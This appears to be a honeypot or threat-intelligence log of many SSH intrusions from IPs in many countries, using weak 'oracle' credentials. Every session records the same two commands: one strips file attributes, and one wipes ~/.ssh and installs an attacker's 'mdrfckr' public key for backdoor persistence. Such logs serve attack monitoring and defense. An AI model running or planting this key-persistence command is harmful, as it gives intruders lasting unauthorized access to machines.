$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 stoic_tango_sol (186.148.224.183) — Boulogne Sur Mer, Argentina · 1 session · 2 cmds

2026-07-05 04:37 EDT · as oracle/1234qwer

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 placid_volcano_sol (36.69.160.99) — Medan, Indonesia · 1 session · 2 cmds

2026-07-05 04:37 EDT · as oracle/1234qwer

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 unhinged_burger_sol (23.95.8.134) — Buffalo, United States · 1 session · 2 cmds

2026-07-05 04:37 EDT · as oracle/1234qwer

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 velvet_pistachio_sol (85.185.201.10) — Ardabil, Iran · 1 session · 2 cmds

2026-07-05 04:36 EDT · as oracle/1234qwer

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 brisk_boba_sol (114.34.106.146) — New Taipei City, Taiwan · 1 session · 2 cmds

2026-07-05 04:35 EDT · as oracle/1234qwer

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 murky_boba_sol (61.223.116.74) — Changhua, Taiwan · 1 session · 2 cmds

2026-07-05 04:33 EDT · as oracle/1234qwer

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 grumpy_sundarban_sol (103.163.117.83) — Dhaka, Bangladesh · 1 session · 2 cmds

2026-07-05 04:32 EDT · as oracle/1234qwer

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 aloof_husk_sol (157.10.100.12) — Patan, Nepal · 1 session · 2 cmds

2026-07-05 04:32 EDT · as oracle/1234qwer

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 spectral_delta_sol (144.79.133.252) — Dhaka, Bangladesh · 1 session · 2 cmds

2026-07-05 04:31 EDT · as oracle/1234qwer

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 cryptic_savanna_sol (102.210.148.92) — Johannesburg, South Africa · 1 session · 2 cmds

2026-07-05 04:31 EDT · as oracle/1234qwer

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 sullen_mekong_sol (103.172.236.241) — Đống Đa, Vietnam · 1 session · 2 cmds

2026-07-05 04:30 EDT · as oracle/1234qwer

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 ironclad_acai_sol (177.11.196.84) — Feliz, Brazil · 3 sessions · 6 cmds

2026-05-07 01:23 EDT · as oracle/1234qwer, oracle/Welcome1, oracle/oracle@123456

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×3

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×3

↳ SSH key persistence

🎭 listless_wraith_sol (8.243.73.162) — Campo de la Cruz, Colombia · 1 session · 2 cmds

2026-07-05 04:27 EDT · as oracle/1234qwer

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 vapor_kimchi_sol (222.110.147.58) — Eunpyeong-gu, South Korea · 1 session · 2 cmds

2026-07-05 04:26 EDT · as oracle/1234qwer

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 silent_bamboo_sol (160.191.244.158) — Đố Sơn, Vietnam · 1 session · 2 cmds

2026-07-05 04:24 EDT · as oracle/1234qwer

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 grumpy_kudu_sol (102.210.149.105) — Johannesburg, South Africa · 2 sessions · 4 cmds

2026-05-07 13:51 EDT · as oracle/1234qwer, oracle/tft105

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2

↳ SSH key persistence

🎭 glitchy_pho_sol (103.172.236.15) — Đống Đa, Vietnam · 1 session · 2 cmds

2026-07-05 04:23 EDT · as oracle/1234qwer

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 frantic_durian_sol (103.189.235.93) — Singapore, Singapore · 1 session · 2 cmds

2026-07-05 04:23 EDT · as oracle/1234qwer

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 rogue_echo_sol (41.93.28.23) — Dar es Salaam, Tanzania · 1 session · 2 cmds

2026-07-05 04:23 EDT · as oracle/1234qwer

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 nocturnal_sensei_sol (20.153.204.5) — Tokyo, Japan · 1 session · 2 cmds

2026-07-05 04:21 EDT · as oracle/1234qwer

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 silent_drifter_sol (186.64.123.124) — Curicó, Chile · 1 session · 2 cmds

2026-07-05 04:20 EDT · as oracle/1234qwer

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 savage_acai_sol (14.102.230.4) — São Paulo, Brazil · 1 session · 2 cmds

2026-07-05 04:20 EDT · as oracle/1234qwer

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 silent_bamboo_sol_231 (103.186.101.231) — Quận Một, Vietnam · 1 session · 2 cmds

2026-07-05 04:20 EDT · as oracle/1234qwer

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 ashen_lotus_sol (112.137.143.2) — Hanoi, Vietnam · 1 session · 2 cmds

2026-07-05 04:19 EDT · as oracle/1234qwer

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 haywire_dragonfruit_sol (113.177.27.200) — Hanoi, Vietnam · 1 session · 2 cmds

2026-07-05 04:19 EDT · as oracle/1234qwer

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 sneaky_mate_sol (181.104.2.65) — Buenos Aires, Argentina · 1 session · 20 cmds

2026-07-05 04:18 EDT · as oracle/1234qwer

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

